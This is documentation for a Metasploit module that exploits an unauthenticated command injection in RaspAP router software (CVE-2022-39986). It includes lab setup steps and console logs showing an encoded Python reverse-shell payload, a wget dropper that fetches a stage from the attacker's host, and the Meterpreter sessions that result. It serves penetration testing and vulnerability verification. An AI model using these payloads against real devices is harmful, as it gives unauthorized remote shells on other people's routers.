## Vulnerable Application

RaspAP is feature-rich wireless router software that just works
on many popular Debian-based devices, including the Raspberry Pi.

A Command injection vulnerability in RaspAP versions 2.8.0 thru 2.8.7 allows
unauthenticated attackers to execute arbitrary commands via the cfg_id
parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.

This Metasploit exploit module targets a command injection vulnerability (CVE-2022-39986) in RaspAP's web-gui PHP project,
The vulnerability affects versions of `RaspAP` between `2.8.0` and `2.8.7`. By exploiting this flaw, an attacker can execute
arbitrary commands in the context of the user running RaspAP. This issue was discovered and reported by Ismael0x00.
Check [here](https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2) for the original writeup.

## Testing
For installing the vulnerable version follow the steps below,
1. Follow the manual installation steps given [here](https://docs.raspap.com/manual/)
2. After setting up the service, navigate to the `/var/www/html` directory
3. Do `git checkout 2.8.0` for switching to the vulnerable version

**Note: Project can also be installed inside a ubuntu/debian docker containers**

## Verification Steps

1. msfconsole
2. Do: `use exploit/unix/http/raspap_rce`
3. Do: `set RHOST [IP]`
4. Do: `set RPORT [PORT]`
5. Do: `check`

## Options

## Scenarios

### Debian 12, Unix Command Target
```
msf > use exploit/unix/http/raspap_rce 
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(unix/http/raspap_rce) > set rhosts 172.16.199.130
rhosts => 172.16.199.130
msf exploit(unix/http/raspap_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(unix/http/raspap_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Unix Command with echo exec\(__import__\(\'zlib\'\).decompress\(__import__\(\'base64\'\).b64decode\(__import__\(\'codecs\'\).getencoder\(\'utf-8\'\)\(\'eNo9UE1LxDAQPTe/IrckGMNmqZVdrCDiQUQEd28i0iajhqZpSLJaFf+7DVmcwwxv5s2bDzP6KSQcJzVA4t/W9LzvIjQ1jykcVOLJjIBep4BnbBwOnXsDKldsi6oUvhZfxbY0ixLomh/x7uH67mW3f7y5umeZJ9TkHKhEKZHnayEbITcbIQmvF2OZ0gfoBlTBrMCnrJ2Hi2gBPD1jyLZlJ3FwvlMDJZe3hEcRQH3QReBp9Yx0e8SWoc93YwFbcFSzC7vI6ZP/6mlJMwQzKJrPFhrUNPoAMdLyAdE3dU5qyEz+QyLZxl+G/gDVz18D\'\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -
[*] Sending stage (24772 bytes) to 172.16.199.130
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.130:48494) at 2023-08-14 20:38:21 -0400

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer     : debian
OS           : Linux 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-2 (2023-07-27)
Architecture : x64
Meterpreter  : python/linux
meterpreter > 
```

### Debian 11, Linux Dropper Target
```
msf > use exploit/unix/http/raspap_rce 
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(unix/http/raspap_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf exploit(unix/http/raspap_rce) > set lhost 172.17.0.1
lhost => 172.17.0.1
msf exploit(unix/http/raspap_rce) > set target 1
target => 1
msf exploit(unix/http/raspap_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Executing Linux Dropper
[*] Using URL: http://172.17.0.1:8080/cH0NvADRgGYZoL
[*] Client 172.17.0.2 (Wget/1.21) requested /cH0NvADRgGYZoL
[*] Sending payload to 172.17.0.2 (Wget/1.21)
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:48940) at 2023-08-10 00:37:27 +0200
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.

meterpreter > getuid 
Server username: www-data
meterpreter > sysinfo 
Computer     : 172.17.0.2
OS           : Debian 11.6 (Linux 6.4.7-hardened1-2-hardened)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```
